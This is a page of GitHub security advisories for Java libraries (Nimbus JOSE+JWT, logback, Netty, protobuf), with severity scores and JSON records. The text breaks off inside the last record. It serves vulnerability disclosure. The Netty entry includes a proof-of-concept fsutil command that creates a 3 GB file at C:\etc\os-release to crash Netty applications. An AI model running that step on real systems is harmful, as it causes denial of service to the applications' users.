In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.nimbusds:nimbus-jose-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.37.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-52428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-15T14:23:03Z",
    "nvd_published_at": "2024-02-11T05:15:08Z",
    "severity": "HIGH"
  },
  "details": "In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component.",
  "id": "GHSA-gvpg-vgmx-xg6w",
  "modified": "2024-10-30T21:32:55Z",
  "published": "2024-02-11T06:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52428"
    },
    {
      "type": "PACKAGE",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/commits/3b3b77e"
    },
    {
      "type": "WEB",
      "url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/526"
    },
    {
      "type": "WEB",
      "url": "https://connect2id.com/products/nimbus-jose-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of Service in Connect2id Nimbus JOSE+JWT"
}

GHSA-QQPG-MVQG-649V

Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-01-22 18:06

Summary

Logback allows an attacker to instantiate classes already present on the class path

Details

ACE vulnerability in configuration file processing by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.

The instantiation of a potentially malicious Java class requires that said class is present on the user's class-path. In addition, the attacker must have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.

Severity ?

1.8 (Low)


                  
                    CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L

Show details on source website

JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-22T18:06:44Z",
    "nvd_published_at": "2026-01-22T10:16:07Z",
    "severity": "LOW"
  },
  "details": "ACE vulnerability in configuration file processing  by QOS.CH logback-core up to and including version 1.5.24 in Java applications, allows an attacker to instantiate classes already present on the class path by compromising an existing logback configuration file.\n\nThe instantiation of a potentially malicious Java class requires that said class is present on the user\u0027s class-path. In addition, the attacker must  have write access to a configuration file. However, after successful instantiation, the instance is very likely to be discarded with no further ado.",
  "id": "GHSA-qqpg-mvqg-649v",
  "modified": "2026-01-22T18:06:44Z",
  "published": "2026-01-22T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/issues/997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/1f97ae1844b1be8486e4e9cade98d7123d3eded5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.25"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Logback allows an attacker to instantiate classes already present on the class path"
}

GHSA-XQ3W-V528-46RV

Vulnerability from github – Published: 2024-11-12 19:53 – Updated: 2025-02-18 15:57

Summary

Denial of Service attack on windows app using netty

Details

Summary

An unsafe reading of environment file could potentially cause a denial of service in Netty. When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.

Details

When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.

At this stage, Netty tries to load both /etc/os-release and /usr/lib/os-release even though it is in a Windows environment.

If netty finds this files, it reads them and loads them into memory.

By default :

The JVM maximum memory size is set to 1 GB,
A non-privileged user can create a directory at C:\ and create files within it.

the source code identified : https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java

Despite the implementation of the function normalizeOs() the source code not verify the OS before reading C:\etc\os-release and C:\usr\lib\os-release.

PoC

Create a file larger than 1 GB of data in C:\etc\os-release or C:\usr\lib\os-release on a Windows environnement and start your Netty application.

To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/)

cd C:\etc
fsutil file createnew os-release 3000000000

The source code used is the Netty website code example : Echo ‐ the very basic client and server.

The vulnerability was tested on the 4.1.112.Final version.

The security analyst tried the same technique for C:\proc\sys\net\core\somaxconn with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186

Impact

By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.

This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.

Client mode :

Server mode :

somaxconn :

Severity

Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running.
Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents).
Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability.
User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.
Scope : "Unchanged" because only Netty is affected by the vulnerability.
Confidentiality : "None" because no data is exposed through exploiting the vulnerability.
Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.
Availability : "High" because the exploitation of this vulnerability crashes the entire java application.

Severity ?

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

5.4 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.114.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.115.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-12T19:53:17Z",
    "nvd_published_at": "2024-11-12T16:15:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n\n### Details\n\nWhen the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed.\n\nAt this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. \n\n\u003cimg width=\"364\" alt=\"1\" src=\"https://github.com/user-attachments/assets/9466b181-9394-45a3-b0e3-1dcf105def59\"\u003e\n\nIf netty finds this files, it reads them and loads them into memory.\n\nBy default :\n\n- The JVM maximum memory size is set to 1 GB,\n- A non-privileged user can create a directory at `C:\\` and create files within it.\n\n\u003cimg width=\"340\" alt=\"2\" src=\"https://github.com/user-attachments/assets/43b359a2-5871-4592-ae2b-ffc40ac76831\"\u003e\n\n\u003cimg width=\"523\" alt=\"3\" src=\"https://github.com/user-attachments/assets/ad5c6eed-451c-4513-92d5-ba0eee7715c1\"\u003e\n\nthe source code identified :\nhttps://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java\n\nDespite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\\etc\\os-release` and `C:\\usr\\lib\\os-release`.\n\n### PoC\n\nCreate a file larger than 1 GB of data in `C:\\etc\\os-release` or `C:\\usr\\lib\\os-release` on a Windows environnement and start your Netty application.\n\nTo observe what the application does with the file, the security analyst used \"Process Monitor\" from the \"Windows SysInternals\" suite. (https://learn.microsoft.com/en-us/sysinternals/)\n\n```\ncd C:\\etc\nfsutil file createnew os-release 3000000000\n```\n\n\u003cimg width=\"519\" alt=\"4\" src=\"https://github.com/user-attachments/assets/39df22a3-462b-4fd0-af9a-aa30077ec08f\"\u003e\n\n\u003cimg width=\"517\" alt=\"5\" src=\"https://github.com/user-attachments/assets/129dbd50-fc36-4da5-8eb1-582123fb528f\"\u003e\n\nThe source code used is the Netty website code example : [Echo \u2010 the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html).\n\nThe vulnerability was tested on the 4.1.112.Final version.\n\nThe security analyst tried the same technique for `C:\\proc\\sys\\net\\core\\somaxconn` with a lot of values to impact Netty but the only things that works is the \"larger than 1 GB file\" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186\n\n### Impact\n\nBy loading the \"file larger than 1 GB\" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application.\n\nThis behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists.\n\nClient mode :\n\n\u003cimg width=\"449\" alt=\"6\" src=\"https://github.com/user-attachments/assets/f8fe1ed0-1a42-4490-b9ed-dbc9af7804be\"\u003e\n\nServer mode :\n\n\u003cimg width=\"464\" alt=\"7\" src=\"https://github.com/user-attachments/assets/b34b42bd-4fbd-4170-b93a-d29ba87b88eb\"\u003e\n\nsomaxconn :\n\n\u003cimg width=\"532\" alt=\"8\" src=\"https://github.com/user-attachments/assets/0656b3bb-32c6-4ae2-bff7-d93babba08a3\"\u003e\n\n### Severity\n\n- Attack vector : \"Local\" because the attacker needs to be on the system where the Netty application is running.\n- Attack complexity : \"Low\" because the attacker only need to create a massive file (regardless of its contents).\n- Privileges required : \"Low\" because the attacker requires a user account to exploit the vulnerability.\n- User intercation : \"None\" because the administrator don\u0027t need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings.\n- Scope : \"Unchanged\" because only Netty is affected by the vulnerability.\n- Confidentiality : \"None\" because no data is exposed through exploiting the vulnerability.\n- Integrity : \"None\" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere.\n- Availability : \"High\" because the exploitation of this vulnerability crashes the entire java application.",
  "id": "GHSA-xq3w-v528-46rv",
  "modified": "2025-02-18T15:57:45Z",
  "published": "2024-11-12T19:53:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/fbf7a704a82e7449b48bd0bbb679f5661c6d61a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial of Service attack on windows app using netty"
}

GHSA-PR98-23F8-JWXV

Vulnerability from github – Published: 2024-12-19 18:31 – Updated: 2025-01-03 19:05

Summary

QOS.CH logback-core Expression Language Injection vulnerability

Details

ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.

Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension.

A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.

Severity ?

5.9 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-19T22:22:09Z",
    "nvd_published_at": "2024-12-19T16:15:07Z",
    "severity": "MODERATE"
  },
  "details": "ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.\n\nMalicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension.\n\nA successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege.",
  "id": "GHSA-pr98-23f8-jwxv",
  "modified": "2025-01-03T19:05:25Z",
  "published": "2024-12-19T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/2cb6d520df7592ef1c3a198f1b5df3c10c93e183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.15"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core Expression Language Injection vulnerability"
}

GHSA-5JPM-X58V-624V

Vulnerability from github – Published: 2024-03-25 19:40 – Updated: 2024-06-22 00:30

Summary

Netty's HttpPostRequestDecoder can OOM

Details

Summary

The HttpPostRequestDecoder can be tricked to accumulate data. I have spotted currently two attack vectors

Details

While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.
The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, this field can cumulate data without limits

PoC

Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder

Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3

Impact

Any Netty based HTTP server that uses the HttpPostRequestDecoder to decode a form.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.108.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-25T19:40:50Z",
    "nvd_published_at": "2024-03-25T20:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
  "id": "GHSA-5jpm-x58v-624v",
  "modified": "2024-06-22T00:30:55Z",
  "published": "2024-03-25T19:40:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vietj/netty/tree/post-request-decoder"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}

GHSA-6MJQ-H674-J845

Vulnerability from github – Published: 2023-06-20 16:33 – Updated: 2024-06-24 21:24

Summary

netty-handler SniHandler 16MB allocation

Details

Summary

The SniHandler can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the SniHandler to allocate 16MB of heap.

Details

The SniHandler class is a handler that waits for the TLS handshake to configure a SslHandler according to the indicated server name by the ClientHello record. For this matter it allocates a ByteBuf using the value defined in the ClientHello record.

Normally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the SslClientHelloHandler

1/ allocate a 16MB ByteBuf 2/ not fail decode method in buffer 3/ get out of the loop without an exception

The combination of this without the use of a timeout makes easy to connect to a TCP server and allocate 16MB of heap memory per connection.

Impact

If the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.94.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-20T16:33:22Z",
    "nvd_published_at": "2023-06-22T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap.\n\n### Details\nThe `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. \n\nNormally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`\n\n1/ allocate a 16MB `ByteBuf`\n2/ not fail `decode` method `in` buffer\n3/ get out of the loop without an exception\n\nThe combination of this without the use of a timeout makes  easy to connect to a TCP server and allocate 16MB of heap memory per connection.\n\n### Impact\nIf the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.",
  "id": "GHSA-6mjq-h674-j845",
  "modified": "2024-06-24T21:24:21Z",
  "published": "2023-06-20T16:33:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-6mjq-h674-j845"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/535da17e45201ae4278c0479e6162bb4127d4c32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230803-0001"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5558"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-handler SniHandler 16MB allocation"
}

GHSA-735F-PC8J-V9W8

Vulnerability from github – Published: 2024-09-19 16:06 – Updated: 2025-09-10 20:53

Summary

protobuf-java has potential Denial of Service issue

Details

Summary

When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.

Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com

Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.

Severity

CVE-2024-7254 High CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.

Proof of Concept

For reproduction details, please refer to the unit tests (Protobuf Java LiteTest and CodedInputStreamTest) that identify the specific inputs that exercise this parsing weakness.

Remediation and Mitigation

We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: * protobuf-java (3.25.5, 4.27.5, 4.28.2) * protobuf-javalite (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) * com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.25.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.25.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.25.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.25.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.25.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0.rc.1"
            },
            {
              "fixed": "4.27.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.28.0.rc.1"
            },
            {
              "fixed": "4.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.27.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.28.0-RC1"
            },
            {
              "fixed": "4.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.27.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.28.0-RC1"
            },
            {
              "fixed": "4.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.27.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.28.0-RC1"
            },
            {
              "fixed": "4.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.27.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.28.0-RC1"
            },
            {
              "fixed": "4.28.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-19T16:06:03Z",
    "nvd_published_at": "2024-09-19T01:15:10Z",
    "severity": "HIGH"
  },
